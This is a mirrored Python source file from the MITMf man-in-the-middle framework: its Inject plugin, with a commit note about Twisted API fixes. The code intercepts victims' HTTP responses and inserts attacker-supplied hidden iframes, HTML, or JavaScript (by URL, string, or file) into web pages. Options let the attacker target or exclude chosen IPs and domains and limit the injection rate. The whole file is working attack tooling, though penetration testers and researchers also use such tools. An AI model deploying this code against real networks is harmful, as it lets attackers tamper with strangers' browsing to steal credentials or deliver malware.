mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
This should resolve: * Issue #307 * Issue #309 * Issue #302 * Issue #294 Apperently, Twisted made some fairly heavy API changes in their 16.x release which kinda fucked all the plugins up.
199 lines
7.8 KiB
Python
199 lines
7.8 KiB
Python
# Copyright (c) 2014-2016 Marcello Salvati
|
|
#
|
|
# This program is free software; you can redistribute it and/or
|
|
# modify it under the terms of the GNU General Public License as
|
|
# published by the Free Software Foundation; either version 3 of the
|
|
# License, or (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful, but
|
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
# General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program; if not, write to the Free Software
|
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
# USA
|
|
#
|
|
|
|
import time
|
|
import sys
|
|
import re
|
|
import chardet
|
|
|
|
from bs4 import BeautifulSoup
|
|
from plugins.plugin import Plugin
|
|
|
|
class Inject(Plugin):
|
|
name = "Inject"
|
|
optname = "inject"
|
|
desc = "Inject arbitrary content into HTML content"
|
|
version = "0.4"
|
|
|
|
def initialize(self, options):
|
|
'''Called if plugin is enabled, passed the options namespace'''
|
|
self.options = options
|
|
self.ip = options.ip
|
|
|
|
self.html_url = options.html_url
|
|
self.html_payload = options.html_payload
|
|
self.html_file = options.html_file
|
|
self.js_url = options.js_url
|
|
self.js_payload = options.js_payload
|
|
self.js_file = options.js_file
|
|
|
|
self.rate_limit = options.rate_limit
|
|
self.count_limit = options.count_limit
|
|
self.per_domain = options.per_domain
|
|
self.black_ips = options.black_ips.split(',')
|
|
self.white_ips = options.white_ips.split(',')
|
|
self.white_domains = options.white_domains.split(',')
|
|
self.black_domains = options.black_domains.split(',')
|
|
|
|
self.ctable = {}
|
|
self.dtable = {}
|
|
self.count = 0
|
|
|
|
|
|
def response(self, response, request, data):
|
|
|
|
encoding = None
|
|
ip = response.getClientIP()
|
|
hn = response.getRequestHostname()
|
|
|
|
if not response.responseHeaders.hasHeader('Content-Type'):
|
|
return {'response': response, 'request':request, 'data': data}
|
|
|
|
mime = response.responseHeaders.getRawHeaders('Content-Type')[0]
|
|
|
|
if "text/html" not in mime:
|
|
return {'response': response, 'request':request, 'data': data}
|
|
|
|
if "charset" in mime:
|
|
match = re.search('charset=(.*)', mime)
|
|
if match:
|
|
encoding = match.group(1).strip().replace('"', "")
|
|
else:
|
|
try:
|
|
encoding = chardet.detect(data)["encoding"]
|
|
except:
|
|
pass
|
|
else:
|
|
try:
|
|
encoding = chardet.detect(data)["encoding"]
|
|
except:
|
|
pass
|
|
|
|
if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
|
|
|
|
if encoding is not None:
|
|
html = BeautifulSoup(data.decode(encoding, "ignore"), "lxml")
|
|
else:
|
|
html = BeautifulSoup(data, "lxml")
|
|
|
|
if html.body:
|
|
|
|
if self.html_url:
|
|
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
|
|
html.body.append(iframe)
|
|
self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
|
|
|
|
if self.html_payload:
|
|
payload = BeautifulSoup(self.html_payload, "html.parser")
|
|
html.body.append(payload)
|
|
self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
|
|
|
|
if self.html_file:
|
|
with open(self.html_file, 'r') as file:
|
|
payload = BeautifulSoup(file.read(), "html.parser")
|
|
html.body.append(payload)
|
|
self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
|
|
|
|
if self.js_url:
|
|
script = html.new_tag('script', type='text/javascript', src=self.js_url)
|
|
html.body.append(script)
|
|
self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
|
|
|
|
if self.js_payload:
|
|
tag = html.new_tag('script', type='text/javascript')
|
|
tag.append(self.js_payload)
|
|
html.body.append(tag)
|
|
self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
|
|
|
|
if self.js_file:
|
|
tag = html.new_tag('script', type='text/javascript')
|
|
with open(self.js_file, 'r') as file:
|
|
tag.append(file.read())
|
|
html.body.append(tag)
|
|
self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
|
|
|
|
data = str(html)
|
|
|
|
return {'response': response, 'request':request, 'data': data}
|
|
|
|
def _ip_filter(self, ip):
|
|
|
|
if self.white_ips[0] != '':
|
|
if ip in self.white_ips:
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
if self.black_ips[0] != '':
|
|
if ip in self.black_ips:
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
return True
|
|
|
|
def _host_filter(self, host):
|
|
|
|
if self.white_domains[0] != '':
|
|
if host in self.white_domains:
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
if self.black_domains[0] != '':
|
|
if host in self.black_domains:
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
return True
|
|
|
|
def _should_inject(self, ip, hn):
|
|
|
|
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
|
return True
|
|
|
|
if self.count_limit is not None and self.count > self.count_limit:
|
|
return False
|
|
|
|
if self.rate_limit is not None:
|
|
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
|
|
return False
|
|
|
|
if self.per_domain:
|
|
return not ip+hn in self.dtable
|
|
|
|
return True
|
|
|
|
def options(self, options):
|
|
options.add_argument("--js-url", type=str, help="URL of the JS to inject")
|
|
options.add_argument('--js-payload', type=str, help='JS string to inject')
|
|
options.add_argument('--js-file', type=str, help='File containing JS to inject')
|
|
options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
|
|
options.add_argument("--html-payload", type=str, help="HTML string to inject")
|
|
options.add_argument('--html-file', type=str, help='File containing HTML to inject')
|
|
|
|
group = options.add_mutually_exclusive_group(required=False)
|
|
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
|
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
|
group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
|
|
group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)")
|
|
group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)")
|
|
group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)")
|
|
group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)")
|